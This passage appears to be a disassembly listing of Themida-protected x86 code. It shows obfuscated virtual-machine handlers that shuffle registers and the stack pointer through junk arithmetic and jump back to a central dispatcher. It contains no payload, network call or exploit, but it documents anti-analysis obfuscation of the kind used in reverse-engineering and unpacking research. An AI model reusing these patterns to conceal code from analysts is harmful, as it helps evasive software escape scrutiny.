; ---------------------------------------------------------------------------
loc_58B9D5: ; CODE XREF: sub_584787+6DC4j
pop esi
jmp loc_58E1ED
; ---------------------------------------------------------------------------
loc_58B9DB: ; CODE XREF: sub_584787+12FDj
shr edx, 1
cmp eax, edx
jz loc_58853E
push 104Dh
mov [esp-4+arg_0], ecx
mov ecx, 2E2B43F2h
and ecx, 0E610DF8h
push eax
jmp loc_584B0F
; ---------------------------------------------------------------------------
loc_58B9FE: ; DATA XREF: Themida_:00584320o
mov cx, [esp+0]
push edi
mov edi, esp
push ebx
mov ebx, 31245CEAh
sub ebx, 1
sub ebx, 1A193E52h
or ebx, 17D04BADh
shr ebx, 4
push esi
mov esi, 5A3075C3h
shl esi, 4
not esi
add esi, 78004AADh
add esi, 2C84C77Bh
sub ebx, esi
pop esi
add edi, ebx
jmp loc_589DC9
; ---------------------------------------------------------------------------
loc_58BA3E: ; CODE XREF: sub_584787+5AC9j
sub esp, 4
mov [esp+30h+var_30], eax
push 4
pop eax
add edx, 57685119h
add edx, eax
sub edx, 57685119h
pop eax
add edx, 4
jmp loc_5889E2
; ---------------------------------------------------------------------------
loc_58BA61: ; CODE XREF: sub_584787+9AD5j
mov ebx, [esp+2Ch+var_2C]
add esp, 4
jmp loc_58D003
; ---------------------------------------------------------------------------
loc_58BA6C: ; DATA XREF: Themida_:00584248o
mov ax, [esp+0]
push edx
jmp loc_58527A
; ---------------------------------------------------------------------------
loc_58BA76: ; CODE XREF: sub_584787+BE56j
pop edx
add esp, 4
pop [esp+24h+var_26+2]
push 783Dh
mov [esp+24h+var_26+2], edx
xchg eax, [esp+24h+var_26+2]
not eax
jmp loc_58A556
; ---------------------------------------------------------------------------
loc_58BA92: ; CODE XREF: sub_584787+642j
add ebx, 4B9A5AD4h
add ebx, ebp
sub ebx, 4B9A5AD4h
push eax
mov eax, 1ACB6366h
sub ebx, eax
pop eax
pop ebp
add ebx, 4
push 763Dh
mov [esp+10h+var_10], ebx
push [esp+10h+var_C]
mov ebx, [esp+14h+var_14]
add esp, 4
pop [esp+10h+var_10]
pop esp
jmp loc_584A11
; ---------------------------------------------------------------------------
loc_58BACB: ; CODE XREF: sub_584787+A6F2j
add ebp, 4
sub esp, 4
mov [esp+0Ch+var_C], edx
jmp loc_58B2F4
; ---------------------------------------------------------------------------
loc_58BADF: ; CODE XREF: sub_584787+BE74j
sub esp, 4
mov [esp+10h+var_10], ecx
jmp loc_58E141
; ---------------------------------------------------------------------------
loc_58BAEA: ; CODE XREF: sub_584787+B9BFj
sub ecx, 2DE8018Bh
sub ecx, 4FC253C7h
add ecx, edx
add ecx, 4FC253C7h
add ecx, 2DE8018Bh
jmp loc_589A8D
; ---------------------------------------------------------------------------
loc_58BB09: ; DATA XREF: Themida_:005841D8o
push 3E71h
mov [esp+14h+var_14], ebp
sub esp, 4
mov [esp+18h+var_18], esp
add [esp+18h+var_18], 4
jmp loc_58A6A6
; ---------------------------------------------------------------------------
loc_58BB26: ; CODE XREF: sub_584787+1186j
neg eax
push ecx
mov ecx, 761D2D67h
inc ecx
xor ecx, 2DA672DEh
add ecx, 40971C19h
inc ecx
neg ecx
xor ecx, 3333CA73h
sub eax, ecx
jmp loc_58ACC7
; ---------------------------------------------------------------------------
loc_58BB4B: ; CODE XREF: sub_584787+8EF1j
push ecx
mov ecx, esp
jmp loc_585099
; ---------------------------------------------------------------------------
loc_58BB53: ; CODE XREF: sub_584787+6C90j
mov ecx, [esp+0Ch+var_C]
push edi
jmp loc_58531A
; ---------------------------------------------------------------------------
loc_58BB5C: ; CODE XREF: sub_584787+607Cj
mov [esp+0], ecx
mov ecx, 261E13B5h
sub ecx, 1
inc ecx
or ecx, 77DD12F0h
jmp loc_58D719
; ---------------------------------------------------------------------------
loc_58BB73: ; CODE XREF: sub_584787+B04j
push edx
mov edx, 3EB54EB8h
jmp loc_58713F
; ---------------------------------------------------------------------------
loc_58BB7E: ; CODE XREF: sub_584787+6773j
pop eax
xor ecx, ebp
mov ebp, [esp+26h+var_26]
add esp, 4
push 5008h
mov [esp+26h+var_26], ebp
jmp loc_58DE89
; ---------------------------------------------------------------------------
loc_58BB94: ; DATA XREF: Themida_:005842E4o
mov ax, word ptr [esp+26h+var_26]
push ecx
mov ecx, esp
add ecx, 4
push edi
jmp loc_58BF15
; ---------------------------------------------------------------------------
loc_58BBA7: ; CODE XREF: sub_584787+3DD2j
pop eax
jmp loc_58FD34
; ---------------------------------------------------------------------------
loc_58BBAD: ; CODE XREF: sub_584787+6A25j
mov edx, 2C8B6E28h
dec edx
push ebp
jmp loc_584B7C
; ---------------------------------------------------------------------------
loc_58BBB9: ; DATA XREF: Themida_:005841D0o
pop dword ptr fs:[edx]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58BBC1: ; CODE XREF: sub_584787+93C1j
add ebx, 92FD0576h
and esi, ebx
pop ebx
jmp loc_5890E9
; ---------------------------------------------------------------------------
loc_58BBCF: ; CODE XREF: sub_584787+2846j
push eax
push [esp+30h+var_2C]
pop eax
pop [esp+30h+var_30]
jmp loc_58729C
; ---------------------------------------------------------------------------
loc_58BBDD: ; CODE XREF: sub_584787+68BEj
pop ebx
add ebx, 4
add ebx, 4
push ebx
push [esp+24h+var_20]
pop ebx
pop [esp+24h+var_26+2]
pop esp
jmp loc_58CE60
; ---------------------------------------------------------------------------
loc_58BBF9: ; CODE XREF: sub_584787+6E13j
push edi
push ecx
mov ecx, 50A35A2Dh
mov edi, ecx
pop ecx
jmp loc_586D79
; ---------------------------------------------------------------------------
loc_58BC08: ; CODE XREF: sub_584787+3593j
sub edx, 408826BCh
pop ebx
jmp loc_589AE3
; ---------------------------------------------------------------------------
loc_58BC14: ; CODE XREF: sub_584787+2DE8j
push [esp+1Ah+var_1C+2]
pop ecx
push 2C4h
mov [esp+1Eh+var_20+2], esi
push esp
pop esi
push eax
push 4
pop eax
jmp loc_589433
; ---------------------------------------------------------------------------
loc_58BC2E: ; CODE XREF: sub_584787+AEA7j
mov ecx, [esp+0]
add esp, 4
jmp loc_584A7B
; ---------------------------------------------------------------------------
loc_58BC39: ; CODE XREF: sub_584787+87ACj
mov [esp+1Eh+var_20+2], ebx
jmp loc_58E1D6
; ---------------------------------------------------------------------------
loc_58BC41: ; CODE XREF: sub_584787+5855j
pop esp
shr eax, 12h
xor eax, ecx
push eax
jmp loc_58E28C
; ---------------------------------------------------------------------------
loc_58BC4D: ; CODE XREF: sub_584787+A4A6j
not [esp+4Ch+var_4E+2]
pop ecx
jmp loc_588439
; ---------------------------------------------------------------------------
loc_58BC56: ; CODE XREF: sub_584787+7162j
dec ebx
add ebx, 2CBA76BFh
add ebx, 74F22A68h
jmp loc_58AB33
; ---------------------------------------------------------------------------
loc_58BC68: ; CODE XREF: sub_584787+653Bj
xor [esp+6+var_8+2], edi
xor edi, [esp+6+var_8+2]
jmp loc_58E8C8
; ---------------------------------------------------------------------------
loc_58BC73: ; CODE XREF: sub_584787+4AFCj
push ebx
not [esp+32h+var_34+2]
pop ebx
jmp loc_58DFC9
; ---------------------------------------------------------------------------
loc_58BC7D: ; CODE XREF: sub_584787+847Fj
mov ebp, 2E87321Ah
jmp loc_58D1F6
; ---------------------------------------------------------------------------
loc_58BC87: ; CODE XREF: sub_584787+7055j
pop edi
push esi
mov esi, ecx
mov eax, esi
pop esi
pop ecx
push eax
jmp loc_58FFCF
; ---------------------------------------------------------------------------
loc_58BC95: ; CODE XREF: sub_584787+7637j
pop esp
mov [esp+4+var_4], eax
push esp
pop eax
push ebx
jmp loc_58D0E3
; ---------------------------------------------------------------------------
loc_58BCA1: ; CODE XREF: sub_584787+558Dj
add esi, 0B923740h
pop ebp
jmp loc_58B6F4
; ---------------------------------------------------------------------------
loc_58BCAD: ; CODE XREF: sub_584787+6F5Dj
mov dl, 0C0h
shr dl, 1
push eax
push bx
mov bl, 0DEh
push edx
mov dl, bl
mov al, dl
pop edx
pop bx
sub al, 0DAh
push cx
mov cl, 7Bh
push ecx
jmp loc_58D524
; ---------------------------------------------------------------------------
loc_58BCCA: ; CODE XREF: sub_584787+B9B7j
sub ebx, 5F2673AAh
sub ebx, eax
add ebx, 5F2673AAh
add ebx, 0FDA7C8Ch
jmp loc_58CBC1
; ---------------------------------------------------------------------------
loc_58BCE3: ; CODE XREF: sub_584787+2BA8j
push ebx
push eax
push ebx
mov bh, 0E3h
add bh, 97h
push ecx
jmp loc_58A79C
; ---------------------------------------------------------------------------
loc_58BCF1: ; CODE XREF: sub_584787+52C1j
sub esp, 4
mov [esp-8+arg_4], edi
mov edi, esp
jmp loc_58E817
; ---------------------------------------------------------------------------
loc_58BD01: ; CODE XREF: sub_584787+47E6j
push ebp
mov ebp, 4
sub edi, 6ED86CEAh
jmp loc_5901EC
; ---------------------------------------------------------------------------
loc_58BD12: ; CODE XREF: sub_584787+3181j
xor ecx, 23D554CEh
jmp loc_58BE0D
; ---------------------------------------------------------------------------
loc_58BD1D: ; DATA XREF: Themida_:00584220o
lodsd
sub eax, 75797493h
push edx
mov edx, 31854E1Ah
jmp loc_589803
; ---------------------------------------------------------------------------
loc_58BD2E: ; CODE XREF: sub_584787+9B6Cj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58BD33: ; CODE XREF: sub_584787+66F6j
sub ebx, 79777067h
push 0A2Ah
mov [esp-0Ch+arg_8], esi
mov esi, 86C2248h
push ebx
jmp loc_586229
; ---------------------------------------------------------------------------
loc_58BD4C: ; CODE XREF: sub_584787+5FECj
add eax, 0A5D4945h
add eax, ecx
sub eax, 0A5D4945h
mov ecx, [esp-4+arg_0]
push edx
push esp
pop edx
add edx, 4
push 6ECh
mov [esp+4+var_4], edi
mov edi, 2C8639C0h
shl edi, 7
jmp loc_58D09D
; ---------------------------------------------------------------------------
loc_58BD79: ; CODE XREF: sub_584787+8F84j
push edx
mov edx, 25021ECFh
dec edx
jmp loc_58825A
; ---------------------------------------------------------------------------
loc_58BD85: ; CODE XREF: sub_584787+55EDj
add eax, 0FFBFDFABh
jmp loc_58916F
; ---------------------------------------------------------------------------
loc_58BD8F: ; CODE XREF: sub_584787+8C52j
add eax, 47946437h
pop edi
add eax, 4
jmp loc_58AEBB
; ---------------------------------------------------------------------------
loc_58BD9F: ; CODE XREF: sub_584787+B459j
mov ecx, 15A00E60h
add ecx, 1
push eax
jmp loc_58A705
; ---------------------------------------------------------------------------
loc_58BDB0: ; CODE XREF: sub_584787+8A7Dj
inc ebx
not ebx
jmp loc_58A398
; ---------------------------------------------------------------------------
loc_58BDB8: ; CODE XREF: sub_584787+31D3j
sub ebp, 4
xchg ebp, [esp+40h+var_42+2]
jmp loc_58BC95
; ---------------------------------------------------------------------------
loc_58BDC3: ; CODE XREF: sub_584787+6F82j
mov ebp, [esp+38h+var_38]
add esp, 4
add ebx, 2E1163DBh
or ebx, 6A031AD8h
xor ebx, 7D433866h
jmp loc_58F088
; ---------------------------------------------------------------------------
loc_58BDE0: ; CODE XREF: sub_584787+B476j
pop dx
xor bl, al
movzx eax, al
jmp loc_5899A6
; ---------------------------------------------------------------------------
loc_58BDEC: ; CODE XREF: sub_584787+5716j
push ebx
mov ebx, esp
jmp loc_58C67E
; ---------------------------------------------------------------------------
loc_58BDF4: ; CODE XREF: sub_584787+1669j
push esp
mov ebp, [esp+0Ch+var_C]
jmp loc_58F451
; ---------------------------------------------------------------------------
loc_58BDFD: ; CODE XREF: sub_584787+175Aj
sub eax, ebp
pop ebp
add edx, eax
jmp loc_5891A1
; ---------------------------------------------------------------------------
loc_58BE07: ; CODE XREF: sub_584787+9DE4j
push ecx
jmp loc_58C2B5
; ---------------------------------------------------------------------------
loc_58BE0D: ; CODE XREF: sub_584787+7591j
sub ecx, 86C9DD62h
add edi, ecx
pop ecx
add ebp, edi
pop edi
jmp loc_58784B
; ---------------------------------------------------------------------------
loc_58BE1E: ; CODE XREF: sub_584787+B80Cj
mov ebp, 0D94564A8h
sub ebp, ecx
mov ecx, [esp+40h+var_42+2]
add esp, 4
push ecx
push ebp
xor [esp+44h+var_46+2], 3E3D2369h
pop ecx
xor ecx, 3E3D2369h
push ecx
sub [esp+44h+var_46+2], 36C77BBh
pop esi
add esi, 36C77BBh
pop ecx
pop ebp
dec esi
xor esi, 47B43867h
xor eax, esi
mov esi, [esp+38h+var_38]
add esp, 4
jmp loc_5847D1
; ---------------------------------------------------------------------------
loc_58BE66: ; CODE XREF: sub_584787+8AAFj
add esp, 4
push 48D3h
mov [esp+34h+var_34], ebp
push [esp+34h+var_34]
pop eax
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+38h+var_38]
pop esp
mov ebp, [esp+34h+var_34]
add esp, 4
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58BE96: ; CODE XREF: sub_584787+414Aj
push 32F9h
mov [esp+0], ecx
jmp loc_587567
; ---------------------------------------------------------------------------
loc_58BEA3: ; CODE XREF: sub_584787+855Aj
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp-4+arg_0]
pop esp
jmp loc_58D54D
; ---------------------------------------------------------------------------
loc_58BEB9: ; CODE XREF: sub_584787+8DC1j
add ebx, 2
xor ebx, [esp-8+arg_4]
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
ror [esp-8+arg_4], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58BED4: ; CODE XREF: sub_584787+3E6Fj
add eax, ecx
jmp loc_58CAB8
; ---------------------------------------------------------------------------
loc_58BEDB: ; CODE XREF: sub_584787+32B2j
push 7D9Bh
mov [esp-0Ah+arg_4+2], ebp
jmp loc_584A95
; ---------------------------------------------------------------------------
loc_58BEE8: ; CODE XREF: sub_584787+BEB1j
pop ebp
add esp, 4
sub edi, 4
xor edi, [esp-12h+arg_E]
xor [esp-12h+arg_E], edi
jmp loc_58C470
; ---------------------------------------------------------------------------
loc_58BF00: ; CODE XREF: sub_584787+B56Ej
add bl, 7
movzx eax, al
jmp loc_58C393
; ---------------------------------------------------------------------------
loc_58BF0B: ; CODE XREF: sub_584787+33DFj
mov al, cl
mov dh, al
pop eax
jmp loc_58FC9F
; ---------------------------------------------------------------------------
loc_58BF15: ; CODE XREF: sub_584787+741Bj
mov edi, 78423733h
push ebp
mov ebp, 718A7BCCh
sub edi, ebp
pop ebp
shl edi, 8
sub edi, 0B7BB66FCh
jmp loc_58E9DE
; ---------------------------------------------------------------------------
loc_58BF31: ; CODE XREF: sub_584787+7EA9j
inc edx
and edx, 6C87219Eh
jmp loc_5888AB
; ---------------------------------------------------------------------------
loc_58BF3D: ; CODE XREF: sub_584787+7A08j
mov esp, [esp+2Eh+var_30+2]
mov [esp+2Eh+var_30+2], ebp
mov ebp, 40000h
and eax, ebp
push [esp+2Eh+var_30+2]
pop ebp
jmp loc_589FC2
; ---------------------------------------------------------------------------
loc_58BF53: ; CODE XREF: sub_584787+9694j
mov ecx, [esp+2Eh+var_30+2]
add esp, 4
push cx
push eax
jmp loc_5854F9
; ---------------------------------------------------------------------------
loc_58BF64: ; CODE XREF: sub_584787+1572j
add esp, 4
or eax, eax
jz loc_588FB5
sub esp, 4
mov [esp-4+arg_0], eax
mov eax, 1Ch
jmp loc_5878C0
; ---------------------------------------------------------------------------
loc_58BF82: ; CODE XREF: sub_584787-F9j
xchg edi, [esp-14h+arg_E+2]
pop esp
mov [esp-18h+arg_12+2], edx
jmp loc_589C0C
; ---------------------------------------------------------------------------
loc_58BF8E: ; CODE XREF: sub_584787+B35Dj
xchg edx, [esp-18h+arg_12+2]
pop esp
sub esp, 4
mov [esp-18h+arg_12+2], ebp
jmp loc_584757
; ---------------------------------------------------------------------------
loc_58BFA0: ; CODE XREF: sub_584787+4E2Cj
mov edx, 0E9655FAh
sub edx, 5754278Bh
not edx
shr edx, 3
dec edx
shr edx, 3
add edx, 408513E5h
mov ebx, edx
pop edx
not ebx
push edi
mov edi, 0F3049FAh
jmp loc_58E23B
; ---------------------------------------------------------------------------
loc_58BFCA: ; CODE XREF: sub_584787+AB5j
sub al, bl
add al, 0A3h
sub al, 71h
mov ebx, [esp+4Eh+var_4E]
add esp, 4
shl al, 1
push ebx
mov bh, 3Fh
xor bh, 0E1h
inc bh
not bh
shr bh, 1
sub bh, 0D6h
xor al, bh
jmp loc_58F2B5
; ---------------------------------------------------------------------------
loc_58BFEE: ; CODE XREF: sub_584787+16CEj
xchg ecx, [esp+10h+var_10]
pop esp
jmp loc_584D77
; ---------------------------------------------------------------------------
loc_58BFF7: ; CODE XREF: sub_584787+A153j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp+0Ch+var_C], esi
pop dword ptr [edi+24h]
mov esi, [esp+8+var_8]
jmp loc_58CA48
; ---------------------------------------------------------------------------
loc_58C014: ; CODE XREF: sub_584787+8C2Bj
add esp, 4
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
pop esp
mov cx, [esp+0]
jmp loc_5866A4
; ---------------------------------------------------------------------------
loc_58C02A: ; CODE XREF: sub_584787+A0E4j
or dh, al
pop eax
inc dh
xor dh, 0AAh
jmp loc_58448A
; ---------------------------------------------------------------------------
loc_58C037: ; CODE XREF: sub_584787+7D2Ej
add eax, 4
sub eax, 4
xor eax, [esp-4+arg_0]
xor [esp-4+arg_0], eax
xor eax, [esp-4+arg_0]
pop esp
jmp loc_589BBB
; ---------------------------------------------------------------------------
loc_58C050: ; CODE XREF: sub_584787+A700j
add eax, 7D3BFC87h
sub edi, 3F4E327Ch
jmp loc_58D626
; ---------------------------------------------------------------------------
loc_58C060: ; CODE XREF: sub_584787+5B35j
sub esp, 4
mov [esp+24h+var_26+2], ecx
jmp loc_588429
; ---------------------------------------------------------------------------
loc_58C06E: ; CODE XREF: sub_584787+24DDj
mov esi, 4
jmp loc_58B3A6
; ---------------------------------------------------------------------------
loc_58C078: ; CODE XREF: sub_584787+1DBCj
mov esp, [esp+8+var_8]
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C087: ; CODE XREF: sub_584787+4BD3j
xor [esp+0], edx
xor edx, [esp+0]
pop esp
push 161Dh
mov [esp+0], ebp
mov ebp, esp
jmp loc_58918E
; ---------------------------------------------------------------------------
loc_58C09D: ; CODE XREF: sub_584787+129Cj
add ebp, 4
xchg ebp, [esp-14h+arg_E+2]
pop esp
add al, bl
push small 44BAh
mov word ptr [esp-16h+arg_12], cx
mov cl, 0EDh
add al, 59h
jmp loc_58E9C1
; ---------------------------------------------------------------------------
push esi
push ecx
jmp loc_587818
; ---------------------------------------------------------------------------
loc_58C0BE: ; CODE XREF: sub_584787+1C8Ej
add ecx, esi
add ecx, 5D7B3690h
pop esi
xchg ecx, [esp+60h+var_60]
pop esp
shr eax, 0Eh
xor eax, ecx
sub esp, 4
jmp loc_585582
; ---------------------------------------------------------------------------
loc_58C0DB: ; CODE XREF: sub_584787+A599j
add bl, al
jmp loc_58C4E7
; ---------------------------------------------------------------------------
loc_58C0E2: ; CODE XREF: sub_584787+B370j
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp+60h+var_60]
xor [esp+60h+var_60], ecx
xor ecx, [esp+60h+var_60]
pop esp
push edx
push ebp
mov ebp, 19F76686h
xor ebp, 64B06EACh
push ebx
jmp loc_58CF41
; ---------------------------------------------------------------------------
loc_58C10A: ; CODE XREF: sub_584787+6F70j
pop esp
ror byte ptr [esp+2Ah+var_2C+2], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C114: ; CODE XREF: sub_584787+8E8Bj
pop esp
xor bl, al
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C122: ; CODE XREF: sub_584787+43DDj
mov edi, 51202FAFh
jmp loc_586BE1
; ---------------------------------------------------------------------------
loc_58C12C: ; DATA XREF: Themida_:0058428Co
lodsb
xor al, bl
push 7284h
mov [esp], ecx
push ax
mov ah, 36h
jmp loc_590265
; ---------------------------------------------------------------------------
loc_58C140: ; CODE XREF: sub_584787+8D02j
sub ebp, 0F0E0A7Ah
jmp loc_59039B
; ---------------------------------------------------------------------------
loc_58C14B: ; CODE XREF: sub_584787+232Cj
add bh, 75h
or dl, bh
pop ebx
add dl, 88h
jmp loc_58ACDB
; ---------------------------------------------------------------------------
loc_58C159: ; CODE XREF: sub_584787+7157j
push eax
mov eax, 329B53D9h
add ebx, eax
pop eax
pop small word ptr [eax]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C16A: ; CODE XREF: sub_584787+AD4Bj
xor edx, [esp+10h+var_10]
pop esp
add edx, 4
jmp loc_58E03A
; ---------------------------------------------------------------------------
loc_58C179: ; CODE XREF: sub_584787+4721j
mov edi, [esp+16h+var_18+2]
add esp, 4
push edx
push esi
pop edx
mov eax, edx
jmp loc_584B48
; ---------------------------------------------------------------------------
loc_58C189: ; CODE XREF: sub_584787+3D3j
sub ecx, 4
xchg ecx, [esp+10h+var_10]
jmp loc_58BF3D
; ---------------------------------------------------------------------------
loc_58C194: ; CODE XREF: sub_584787+4F94j
push edi
jmp loc_58EB32
; ---------------------------------------------------------------------------
loc_58C19A: ; CODE XREF: sub_584787+AF35j
push ecx
push esp
pop ecx
push ebx
mov ebx, 4
add ecx, ebx
jmp loc_5848F8
; ---------------------------------------------------------------------------
loc_58C1AA: ; CODE XREF: sub_584787+2D47j
pop esi
pop [esp+3Ah+var_3C+2]
jmp loc_59032F
; ---------------------------------------------------------------------------
loc_58C1B3: ; CODE XREF: sub_584787+6D1Aj
sub esp, 4
mov [esp-0Ch+arg_8], ecx
mov ecx, 20BE2BC3h
or edi, ecx
pop ecx
and edi, 5C0C628Dh
xor edi, 38D807CBh
sub edi, 6391171h
sub ebx, edi
pop edi
add ebx, 154E17D4h
jmp loc_58B8D6
; ---------------------------------------------------------------------------
loc_58C1E1: ; CODE XREF: sub_584787+A43j
mov esi, [esp+0]
add esp, 4
and esi, 65137351h
not esi
add esi, 3A070306h
jmp loc_58C257
; ---------------------------------------------------------------------------
loc_58C1FA: ; CODE XREF: sub_584787+7DF8j
push ecx
push edi
jmp loc_58E195
; ---------------------------------------------------------------------------
loc_58C201: ; CODE XREF: sub_584787+69F1j
pop esp
add edi, 4
jmp loc_5852ED
; ---------------------------------------------------------------------------
loc_58C20D: ; CODE XREF: sub_584787+9C1Dj
sub [edi+20h], ebp
jmp loc_58D82C
; ---------------------------------------------------------------------------
loc_58C215: ; CODE XREF: sub_584787+3168j
push edx
mov dh, 91h
sub bl, dh
pop edx
jmp loc_5851E5
; ---------------------------------------------------------------------------
loc_58C220: ; CODE XREF: sub_584787+2F3Bj
pop edi
push ebp
push eax
mov eax, 4
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, eax
mov ebp, ecx
pop ecx
jmp loc_586347
; ---------------------------------------------------------------------------
loc_58C23B: ; CODE XREF: sub_584787+AE00j
xor [esp+0], edi
jmp loc_58504A
; ---------------------------------------------------------------------------
loc_58C243: ; CODE XREF: sub_584787+3622j
sub eax, edi
jmp loc_58CA02
; ---------------------------------------------------------------------------
loc_58C24A: ; CODE XREF: sub_584787+595j
push 3FECh
mov [esp+0Ch+var_C], eax
jmp loc_587A32
; ---------------------------------------------------------------------------
loc_58C257: ; CODE XREF: sub_584787+7A6Ej
sub esi, 8742B7BCh
jmp loc_58760F
; ---------------------------------------------------------------------------
loc_58C262: ; CODE XREF: sub_584787+2836j
xchg ebp, edx
not ebp
jmp loc_58D159
; ---------------------------------------------------------------------------
loc_58C26B: ; CODE XREF: sub_584787+7E9Ej
pop ecx
add edi, 2
xor edi, [esp-18h+arg_12+2]
jmp loc_58DEF7
; ---------------------------------------------------------------------------
loc_58C27A: ; CODE XREF: sub_584787+7D6Ej
sub edx, 6F70AB5h
shr edx, 1
add edx, 0A6B126BFh
add eax, 2A5C2A1Eh
add eax, edx
jmp loc_58FAB7
; ---------------------------------------------------------------------------
loc_58C294: ; CODE XREF: sub_584787+49ACj
add edx, 6BE43D75h
sub edx, 3E322013h
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C2A5: ; CODE XREF: sub_584787+5F1Aj
push ebp
jmp loc_58DBA9
; ---------------------------------------------------------------------------
loc_58C2AB: ; CODE XREF: sub_584787+1C36j
mov ebx, 6B4F36C1h
jmp loc_58F87D
; ---------------------------------------------------------------------------
loc_58C2B5: ; CODE XREF: sub_584787+7681j
mov ecx, 1AB20107h
push edx
mov edx, 5237E8Fh
sub ecx, edx
pop edx
shr ecx, 6
add ecx, 4FE50201h
add ecx, 0CD81D276h
add ebx, ecx
pop ecx
mov ecx, ebx
pop ebx
add eax, 69576658h
add eax, ecx
push esi
jmp loc_584516
; ---------------------------------------------------------------------------
loc_58C2E5: ; CODE XREF: sub_584787+825Dj
xchg esi, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
push edx
mov dh, 1Ah
shr dh, 8
inc dh
push 0
sub byte ptr [esp-4+arg_0], dh
mov dh, byte ptr [esp-4+arg_0]
push ebx
jmp loc_58D825
; ---------------------------------------------------------------------------
loc_58C304: ; CODE XREF: sub_584787+BC1j
pop esi
sub esp, 4
mov [esp+52h+var_54+2], eax
mov eax, 2
add ebx, eax
pop eax
push ebx
push [esp+52h+var_4E]
pop ebx
pop [esp+52h+var_54+2]
mov esp, [esp+4Eh+var_4E]
jmp loc_58A426
; ---------------------------------------------------------------------------
loc_58C324: ; CODE XREF: sub_584787+A7DEj
shl edx, 1
push edi
mov edi, esp
jmp loc_58F3DC
; ---------------------------------------------------------------------------
loc_58C32E: ; CODE XREF: sub_584787-2AAj
pop edi
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
add word ptr [esp-4+arg_0], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C33F: ; CODE XREF: sub_584787+94F2j
mov ebp, 2
add esi, 602B0EF5h
add esi, ebp
sub esi, 602B0EF5h
push dword ptr [esp+0]
jmp loc_58DC21
; ---------------------------------------------------------------------------
loc_58C35A: ; CODE XREF: sub_584787+8B8Ej
sub ebx, ecx
jmp loc_585EBA
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+4+var_4]
push edi
mov edi, esp
push ebp
push esi
mov esi, 2AD96BABh
or esi, 757D773Ch
jmp loc_58EC8A
; ---------------------------------------------------------------------------
loc_58C37A: ; CODE XREF: sub_584787+19DDj
mov edx, 0FEh
and [edi+1Ch], edx
push [esp+2Eh+var_30+2]
jmp loc_58975F
; ---------------------------------------------------------------------------
loc_58C38A: ; CODE XREF: sub_584787+9EE5j
and edi, ebx
pop ebx
push edi
jmp loc_586BF5
; ---------------------------------------------------------------------------
loc_58C393: ; CODE XREF: sub_584787+777Fj
push dword ptr [edi+eax*4]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C39B: ; CODE XREF: sub_584787+69CBj
add ebp, eax
pop eax
jmp loc_5861AF
; ---------------------------------------------------------------------------
loc_58C3A3: ; CODE XREF: sub_584787+1065j
add esp, 4
push ebx
mov bl, 1Eh
dec bl
shr bl, 7
dec bl
sub bl, 0FBh
or bl, 0DCh
sub bl, 84h
add al, bl
jmp loc_588504
; ---------------------------------------------------------------------------
loc_58C3C0: ; CODE XREF: sub_584787+21DCj
mov [esp+16h+var_18+2], ebp
mov ebp, 4AC50865h
jmp loc_585B1F
; ---------------------------------------------------------------------------
loc_58C3CD: ; CODE XREF: sub_584787+B702j
xchg ebx, [esp+16h+var_18+2]
jmp loc_58CA60
; ---------------------------------------------------------------------------
loc_58C3D5: ; CODE XREF: sub_584787+476Aj
mov esi, [esp+6+var_8+2]
add esp, 4
add esp, 4
or eax, eax
jz loc_5872F8
push dword ptr [edi+1Ch]
push 497Ch
jmp loc_590613
; ---------------------------------------------------------------------------
loc_58C3F9: ; CODE XREF: sub_584787+4BBDj
mov edx, [esp+0]
add esp, 4
add esp, 4
jmp loc_58F05A
; ---------------------------------------------------------------------------
loc_58C407: ; CODE XREF: sub_584787+57C1j
add al, 5
sub al, dh
sub al, 5
push edx
mov dh, 50h
add dh, 29h
or dh, 0C0h
add dh, 7Ah
add dh, 0B7h
shl dh, 7
sub dh, 0AFh
sub al, dh
pop edx
pop edx
sub al, bl
jmp loc_58ED70
; ---------------------------------------------------------------------------
loc_58C42D: ; CODE XREF: sub_584787+4CA7j
add ebx, 4
push edx
mov edx, esp
add edx, 4
jmp loc_58EA8F
; ---------------------------------------------------------------------------
loc_58C441: ; CODE XREF: sub_584787+19BBj
sub ebp, 293B257Fh
dec ebp
shr ebp, 1
or ebp, 662E7F2Ah
jmp loc_589853
; ---------------------------------------------------------------------------
loc_58C455: ; CODE XREF: sub_584787+B040j
or [edi+1Ch], ebx
mov ebx, [esp+2Ah+var_2C+2]
jmp loc_5865D4
; ---------------------------------------------------------------------------
loc_58C460: ; CODE XREF: sub_584787+8F8Dj
pop edi
push ecx
push eax
mov eax, 2DC7623Bh
mov ecx, eax
pop eax
jmp loc_584BDE
; ---------------------------------------------------------------------------
loc_58C470: ; CODE XREF: sub_584787+7774j
xor edi, [esp-12h+arg_E]
pop esp
mov [esp-16h+arg_12], eax
jmp loc_586ECD
; ---------------------------------------------------------------------------
loc_58C47C: ; CODE XREF: sub_584787+A833j
add esp, 4
mov ecx, [esp]
add esp, 4
add dh, 14h
xor al, dh
pop edx
jmp loc_58546D
; ---------------------------------------------------------------------------
loc_58C490: ; DATA XREF: Themida_:005842A8o
lodsb
push ecx
jmp loc_5869FB
; ---------------------------------------------------------------------------
loc_58C497: ; CODE XREF: sub_584787+9C4Ej
add esp, 4
jmp loc_58683D
; ---------------------------------------------------------------------------
